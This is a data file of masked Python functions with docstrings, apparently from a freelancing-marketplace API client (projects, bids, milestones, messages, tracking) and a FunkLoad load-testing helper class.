{"signature": "def create_hireme_project(session, title, description,<EOL>currency, budget, jobs, hireme_initial_bid):", "body": "jobs.append(create_job_object(id=<NUM_LIT>))  <EOL>project_data = {'<STR_LIT:title>': title,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': currency,<EOL>'<STR_LIT>': budget,<EOL>'<STR_LIT>': jobs,<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': hireme_initial_bid<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', json_data=project_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>project_data = json_data['<STR_LIT:result>']<EOL>p = Project(project_data)<EOL>p.url = urljoin(session.url, '<STR_LIT>' % p.seo_url)<EOL>return p<EOL><DEDENT>else:<EOL><INDENT>raise ProjectNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'],<EOL>)<EOL><DEDENT>", "docstring": "Create a fixed project", "id": "f12290:m3"}
{"signature": "def get_projects(session, query):", "body": "<EOL>response = make_get_request(session, '<STR_LIT>', params_data=query)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise ProjectsNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Get one or more projects", "id": "f12290:m4"}
{"signature": "def get_project_by_id(session, project_id, project_details=None, user_details=None):", "body": "<EOL>query = {}<EOL>if project_details:<EOL><INDENT>query.update(project_details)<EOL><DEDENT>if user_details:<EOL><INDENT>query.update(user_details)<EOL><DEDENT>response = make_get_request(<EOL>session, '<STR_LIT>'.format(project_id), params_data=query)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise ProjectsNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get a single project by ID", "id": "f12290:m5"}
{"signature": "def search_projects(session,<EOL>query,<EOL>search_filter=None,<EOL>project_details=None,<EOL>user_details=None,<EOL>limit=<NUM_LIT:10>,<EOL>offset=<NUM_LIT:0>,<EOL>active_only=None):", "body": "search_data = {<EOL>'<STR_LIT>': query,<EOL>'<STR_LIT>': limit,<EOL>'<STR_LIT>': offset,<EOL>}<EOL>if search_filter:<EOL><INDENT>search_data.update(search_filter)<EOL><DEDENT>if project_details:<EOL><INDENT>search_data.update(project_details)<EOL><DEDENT>if user_details:<EOL><INDENT>search_data.update(user_details)<EOL><DEDENT>endpoint = '<STR_LIT>'.format('<STR_LIT>' if active_only else '<STR_LIT:all>')<EOL>response = make_get_request(session, endpoint, params_data=search_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise ProjectsNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Search for all projects", "id": "f12290:m6"}
{"signature": "def place_project_bid(session, project_id, bidder_id, description, amount,<EOL>period, milestone_percentage):", "body": "bid_data = {<EOL>'<STR_LIT>': project_id,<EOL>'<STR_LIT>': bidder_id,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': amount,<EOL>'<STR_LIT>': period,<EOL>'<STR_LIT>': milestone_percentage,<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', json_data=bid_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>bid_data = json_data['<STR_LIT:result>']<EOL>return Bid(bid_data)<EOL><DEDENT>else:<EOL><INDENT>raise BidNotPlacedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Place a bid on a project", "id": "f12290:m7"}
{"signature": "def get_bids(session, project_ids=[], bid_ids=[], limit=<NUM_LIT:10>, offset=<NUM_LIT:0>):", "body": "get_bids_data = {}<EOL>if bid_ids:<EOL><INDENT>get_bids_data['<STR_LIT>'] = bid_ids<EOL><DEDENT>if project_ids:<EOL><INDENT>get_bids_data['<STR_LIT>'] = project_ids<EOL><DEDENT>get_bids_data['<STR_LIT>'] = limit<EOL>get_bids_data['<STR_LIT>'] = offset<EOL>response = make_get_request(session, '<STR_LIT>', params_data=get_bids_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise BidsNotFoundException(<EOL>message=json_data['<STR_LIT:message>'], error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get the list of bids", "id": "f12290:m8"}
{"signature": "def get_milestones(session, project_ids=[], milestone_ids=[], user_details=None, limit=<NUM_LIT:10>, offset=<NUM_LIT:0>):", "body": "get_milestones_data = {}<EOL>if milestone_ids:<EOL><INDENT>get_milestones_data['<STR_LIT>'] = milestone_ids<EOL><DEDENT>if project_ids:<EOL><INDENT>get_milestones_data['<STR_LIT>'] = project_ids<EOL><DEDENT>get_milestones_data['<STR_LIT>'] = limit<EOL>get_milestones_data['<STR_LIT>'] = offset<EOL>if user_details:<EOL><INDENT>get_milestones_data.update(user_details)<EOL><DEDENT>response = make_get_request(<EOL>session, '<STR_LIT>', params_data=get_milestones_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestonesNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get the list of milestones", "id": "f12290:m9"}
{"signature": "def get_milestone_by_id(session, milestone_id, user_details=None):", "body": "<EOL>endpoint = '<STR_LIT>'.format(milestone_id)<EOL>response = make_get_request(session, endpoint, params_data=user_details)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestonesNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get a specific milestone", "id": "f12290:m10"}
{"signature": "def award_project_bid(session, bid_id):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>bid_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>'<EOL>}<EOL>endpoint = '<STR_LIT>'.format(bid_id)<EOL>response = make_put_request(session, endpoint, headers=headers,<EOL>params_data=bid_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>json_data = response.json()<EOL>raise BidNotAwardedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Award a bid on a project", "id": "f12290:m11"}
{"signature": "def revoke_project_bid(session, bid_id):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>bid_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>'<EOL>}<EOL>endpoint = '<STR_LIT>'.format(bid_id)<EOL>response = make_put_request(session, endpoint, headers=headers,<EOL>params_data=bid_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>json_data = response.json()<EOL>raise BidNotRevokedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Revoke a bid on a project", "id": "f12290:m12"}
{"signature": "def accept_project_bid(session, bid_id):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>bid_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>'<EOL>}<EOL>endpoint = '<STR_LIT>'.format(bid_id)<EOL>response = make_put_request(session, endpoint, headers=headers,<EOL>params_data=bid_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>json_data = response.json()<EOL>raise BidNotAcceptedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Accept a bid on a project", "id": "f12290:m13"}
{"signature": "def retract_project_bid(session, bid_id):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>bid_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>'<EOL>}<EOL>endpoint = '<STR_LIT>'.format(bid_id)<EOL>response = make_put_request(session, endpoint, headers=headers,<EOL>params_data=bid_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>json_data = response.json()<EOL>raise BidNotRetractedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Retract a bid on a project", "id": "f12290:m14"}
{"signature": "def highlight_project_bid(session, bid_id):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>bid_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>'<EOL>}<EOL>endpoint = '<STR_LIT>'.format(bid_id)<EOL>response = make_put_request(session, endpoint, headers=headers,<EOL>params_data=bid_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>json_data = response.json()<EOL>raise BidNotHighlightedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Highlight a bid on a project", "id": "f12290:m15"}
{"signature": "def create_milestone_payment(session, project_id, bidder_id, amount,<EOL>reason, description):", "body": "milestone_data = {<EOL>'<STR_LIT>': project_id,<EOL>'<STR_LIT>': bidder_id,<EOL>'<STR_LIT>': amount,<EOL>'<STR_LIT>': reason,<EOL>'<STR_LIT:description>': description<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>',<EOL>json_data=milestone_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>milestone_data = json_data['<STR_LIT:result>']<EOL>return Milestone(milestone_data)<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Create a milestone payment", "id": "f12290:m16"}
{"signature": "def post_track(session, user_id, project_id, latitude, longitude):", "body": "tracking_data = {<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': project_id,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': latitude,<EOL>'<STR_LIT>': longitude<EOL>}<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>',<EOL>json_data=tracking_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise TrackNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Start tracking a project by creating a track", "id": "f12290:m17"}
{"signature": "def update_track(session, track_id, latitude, longitude, stop_tracking=False):", "body": "tracking_data = {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': latitude,<EOL>'<STR_LIT>': longitude,<EOL>},<EOL>'<STR_LIT>': stop_tracking<EOL>}<EOL>response = make_put_request(session, '<STR_LIT>'.format(track_id),<EOL>json_data=tracking_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise TrackNotUpdatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Updates the current location by creating a new track point and appending\nit to the given track", "id": "f12290:m18"}
{"signature": "def get_track_by_id(session, track_id, track_point_limit=None, track_point_offset=None):", "body": "tracking_data = {}<EOL>if track_point_limit:<EOL><INDENT>tracking_data['<STR_LIT>'] = track_point_limit<EOL><DEDENT>if track_point_offset:<EOL><INDENT>tracking_data['<STR_LIT>'] = track_point_offset<EOL><DEDENT>response = make_get_request(session, '<STR_LIT>'.format(track_id),<EOL>params_data=tracking_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise TrackNotFoundException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Gets a specific track", "id": "f12290:m19"}
{"signature": "def release_milestone_payment(session, milestone_id, amount):", "body": "params_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>}<EOL>milestone_data = {<EOL>'<STR_LIT>': amount,<EOL>}<EOL>endpoint = '<STR_LIT>'.format(milestone_id)<EOL>response = make_put_request(session, endpoint, params_data=params_data,<EOL>json_data=milestone_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneNotReleasedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Release a milestone payment", "id": "f12290:m20"}
{"signature": "def request_release_milestone_payment(session, milestone_id):", "body": "params_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>}<EOL>endpoint = '<STR_LIT>'.format(milestone_id)<EOL>response = make_put_request(session, endpoint, params_data=params_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneNotRequestedReleaseException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Release a milestone payment", "id": "f12290:m21"}
{"signature": "def cancel_milestone_payment(session, milestone_id):", "body": "params_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>}<EOL>endpoint = '<STR_LIT>'.format(milestone_id)<EOL>response = make_put_request(session, endpoint, params_data=params_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneNotCancelledException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Release a milestone payment", "id": "f12290:m22"}
{"signature": "def create_milestone_request(session, project_id, bid_id, description, amount):", "body": "milestone_request_data = {<EOL>'<STR_LIT>': project_id,<EOL>'<STR_LIT>': bid_id,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': amount,<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>',<EOL>json_data=milestone_request_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>milestone_request_data = json_data['<STR_LIT:result>']<EOL>return MilestoneRequest(milestone_request_data)<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneRequestNotCreatedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Create a milestone request", "id": "f12290:m23"}
{"signature": "def accept_milestone_request(session, milestone_request_id):", "body": "params_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>}<EOL>endpoint = '<STR_LIT>'.format(milestone_request_id)<EOL>response = make_put_request(session, endpoint, params_data=params_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneRequestNotAcceptedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Accept a milestone request", "id": "f12290:m24"}
{"signature": "def reject_milestone_request(session, milestone_request_id):", "body": "params_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>}<EOL>endpoint = '<STR_LIT>'.format(milestone_request_id)<EOL>response = make_put_request(session, endpoint, params_data=params_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneRequestNotRejectedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Reject a milestone request", "id": "f12290:m25"}
{"signature": "def delete_milestone_request(session, milestone_request_id):", "body": "params_data = {<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>}<EOL>endpoint = '<STR_LIT>'.format(milestone_request_id)<EOL>response = make_put_request(session, endpoint, params_data=params_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise MilestoneRequestNotDeletedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Delete a milestone request", "id": "f12290:m26"}
{"signature": "def post_review(session, review):", "body": "<EOL>response = make_post_request(session, '<STR_LIT>', json_data=review)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>raise ReviewNotPostedException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Post a review", "id": "f12290:m27"}
{"signature": "def get_jobs(session, job_ids, seo_details, lang):", "body": "get_jobs_data = {<EOL>'<STR_LIT>': job_ids,<EOL>'<STR_LIT>': seo_details,<EOL>'<STR_LIT>': lang,<EOL>}<EOL>response = make_get_request(session, '<STR_LIT>', params_data=get_jobs_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise JobsNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Get a list of jobs", "id": "f12290:m28"}
{"signature": "def create_thread(session, member_ids, context_type, context, message):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>thread_data = {<EOL>'<STR_LIT>': member_ids,<EOL>'<STR_LIT>': context_type,<EOL>'<STR_LIT>': context,<EOL>'<STR_LIT:message>': message,<EOL>}<EOL>response = make_post_request(session, '<STR_LIT>', headers,<EOL>form_data=thread_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return Thread(json_data['<STR_LIT:result>'])<EOL><DEDENT>else:<EOL><INDENT>raise ThreadNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Create a thread", "id": "f12295:m0"}
{"signature": "def create_project_thread(session, member_ids, project_id, message):", "body": "return create_thread(session, member_ids, '<STR_LIT>', project_id, message)<EOL>", "docstring": "Create a project thread", "id": "f12295:m1"}
{"signature": "def post_message(session, thread_id, message):", "body": "headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>message_data = {<EOL>'<STR_LIT:message>': message,<EOL>}<EOL>endpoint = '<STR_LIT>'.format(thread_id)<EOL>response = make_post_request(session, endpoint, headers,<EOL>form_data=message_data)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return Message(json_data['<STR_LIT:result>'])<EOL><DEDENT>else:<EOL><INDENT>raise MessageNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Add a message to a thread", "id": "f12295:m2"}
{"signature": "def post_attachment(session, thread_id, attachments):", "body": "files = []<EOL>filenames = []<EOL>for attachment in attachments:<EOL><INDENT>files.append(attachment['<STR_LIT:file>'])<EOL>filenames.append(attachment['<STR_LIT:filename>'])<EOL><DEDENT>message_data = {<EOL>'<STR_LIT>': filenames,<EOL>}<EOL>endpoint = '<STR_LIT>'.format(thread_id)<EOL>response = make_post_request(session, endpoint,<EOL>form_data=message_data, files=files)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return Message(json_data['<STR_LIT:result>'])<EOL><DEDENT>else:<EOL><INDENT>raise MessageNotCreatedException(message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Add a message to a thread", "id": "f12295:m3"}
{"signature": "def get_messages(session, query, limit=<NUM_LIT:10>, offset=<NUM_LIT:0>):", "body": "query['<STR_LIT>'] = limit<EOL>query['<STR_LIT>'] = offset<EOL>response = make_get_request(session, '<STR_LIT>', params_data=query)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise MessagesNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get one or more messages", "id": "f12295:m4"}
{"signature": "def search_messages(session, thread_id, query, limit=<NUM_LIT:20>,<EOL>offset=<NUM_LIT:0>, message_context_details=None,<EOL>window_above=None, window_below=None):", "body": "query = {<EOL>'<STR_LIT>': thread_id,<EOL>'<STR_LIT>': query,<EOL>'<STR_LIT>': limit,<EOL>'<STR_LIT>': offset<EOL>}<EOL>if message_context_details:<EOL><INDENT>query['<STR_LIT>'] = message_context_details<EOL><DEDENT>if window_above:<EOL><INDENT>query['<STR_LIT>'] = window_above<EOL><DEDENT>if window_below:<EOL><INDENT>query['<STR_LIT>'] = window_below<EOL><DEDENT>response = make_get_request(session, '<STR_LIT>', params_data=query)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise MessagesNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Search for messages", "id": "f12295:m5"}
{"signature": "def get_threads(session, query):", "body": "<EOL>response = make_get_request(session, '<STR_LIT>', params_data=query)<EOL>json_data = response.json()<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>return json_data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>raise ThreadsNotFoundException(<EOL>message=json_data['<STR_LIT:message>'],<EOL>error_code=json_data['<STR_LIT>'],<EOL>request_id=json_data['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get one or more threads", "id": "f12295:m6"}
{"signature": "def description(description):", "body": "def wrapper(func):<EOL><INDENT>@wraps(func)<EOL>def wrapped(self, *args, **kwargs):<EOL><INDENT>return func(self, *args, **kwargs)<EOL><DEDENT>wrapped.description = description<EOL>return wrapped<EOL><DEDENT>return wrapper<EOL>", "docstring": "Set description to test_method", "id": "f12310:m0"}
{"signature": "def __init__(self, methodName='<STR_LIT>', options=None):", "body": "super(TestCase, self).__init__(methodName, options)<EOL>self.reset_cookie()<EOL>self.session_id_key = self.conf_get(<EOL>SECTION_FUNKLOAD_FRIENDLY,<EOL>'<STR_LIT>',<EOL>self.__class__.session_id_key,<EOL>quiet=True)<EOL>self.site_url = self.conf_get(<EOL>'<STR_LIT>',<EOL>'<STR_LIT:url>',<EOL>self.__class__.site_url,<EOL>quiet=True)<EOL>", "docstring": "Constructor", "id": "f12310:c0:m0"}
{"signature": "def reset_cookie(self):", "body": "self.cookie = CookieDict()<EOL>", "docstring": "Reset cookie data.", "id": "f12310:c0:m1"}
{"signature": "def _connect(self, url, params, ok_codes, rtype, description,<EOL>redirect=False, consumer=None):", "body": "<EOL>if self.cookie:<EOL><INDENT>self.setHeader('<STR_LIT>', self.cookie.render_to_string())<EOL><DEDENT>response = super(TestCase, self)._connect(<EOL>url, params, ok_codes, rtype, description,<EOL>redirect=redirect, consumer=consumer)<EOL>for key, value in response.headers.items():<EOL><INDENT>if key.lower() == '<STR_LIT>':<EOL><INDENT>self.cookie.from_cookie_string(value)<EOL><DEDENT><DEDENT>content_type_header = response.headers.get('<STR_LIT>')<EOL>if content_type_header:<EOL><INDENT>if '<STR_LIT:;>' in content_type_header:<EOL><INDENT>content_type, charset_pair = content_type_header.split('<STR_LIT:;>', <NUM_LIT:1>)<EOL>if '<STR_LIT:=>' in charset_pair:<EOL><INDENT>_key, charset = charset_pair.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>charset = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>content_type = content_type_header<EOL>charset = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>content_type = charset = None<EOL><DEDENT>response.content_type_header = content_type_header<EOL>if content_type:<EOL><INDENT>response.content_type = content_type.strip()<EOL><DEDENT>else:<EOL><INDENT>response.content_type = None<EOL><DEDENT>response.charset = charset<EOL>if response.content_type == '<STR_LIT:application/json>':<EOL><INDENT>response.data = json.loads(response.body)<EOL><DEDENT>else:<EOL><INDENT>response.data = None<EOL><DEDENT>return response<EOL>", "docstring": "Override FunkLoadTestCase._connect", "id": "f12310:c0:m2"}
{"signature": "def set_session_id(self, session_id):", "body": "self.cookie[self.session_id_key] = session_id<EOL>", "docstring": "Set session ID to cookie", "id": "f12310:c0:m3"}
{"signature": "def clear_session_id(self):", "body": "return self.cookie.get(self.session_id_key)<EOL>", "docstring": "Clear session ID", "id": "f12310:c0:m4"}
{"signature": "def conf_get(<EOL>self, section, key, default=FunkLoadTestCase._marker, quiet=False):", "body": "<EOL>if section == self.test_name and key == '<STR_LIT:description>':<EOL><INDENT>method = getattr(self, section, None)<EOL>if method and hasattr(method, '<STR_LIT:description>'):<EOL><INDENT>return method.description.encode('<STR_LIT:utf-8>')<EOL><DEDENT><DEDENT>if section in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if section == '<STR_LIT>':<EOL><INDENT>test_name = self.__class__.__name__.lower()<EOL><DEDENT>else:  <EOL><INDENT>test_name = self.test_name<EOL><DEDENT>if key == '<STR_LIT>':<EOL><INDENT>result_directory = super(TestCase, self).conf_get(<EOL>section, '<STR_LIT>',<EOL>default=self.result_directory, quiet=quiet)<EOL>result_path = os.path.join(<EOL>result_directory,<EOL>'<STR_LIT>'.format(test_name))<EOL>return result_path<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>log_directory = super(TestCase, self).conf_get(<EOL>section, '<STR_LIT>', default=self.log_directory,<EOL>quiet=quiet)<EOL>log_to = os.path.join(<EOL>log_directory,<EOL>'<STR_LIT>'.format(test_name))<EOL>return log_to<EOL><DEDENT><DEDENT>return super(TestCase, self).conf_get(<EOL>section, key, default=default, quiet=quiet)<EOL>", "docstring": "Override FunkLoadTestCase.conf_get", "id": "f12310:c0:m5"}
{"signature": "def __init__(self, data, content_type='<STR_LIT:application/json>'):", "body": "Data.__init__(<EOL>self,<EOL>content_type,<EOL>json.dumps(data))<EOL>", "docstring": "Constructor\n\n        :param data: data will be encoding to JSON.\n        :type data: dict\n        :param content_type: Content type for data\n        :type content_type: str", "id": "f12311:c0:m0"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(CookieDict, self).__init__(*args, **kwargs)<EOL>", "docstring": "Constructor\n\n        The argument is same the OrderedDict.", "id": "f12312:c0:m0"}
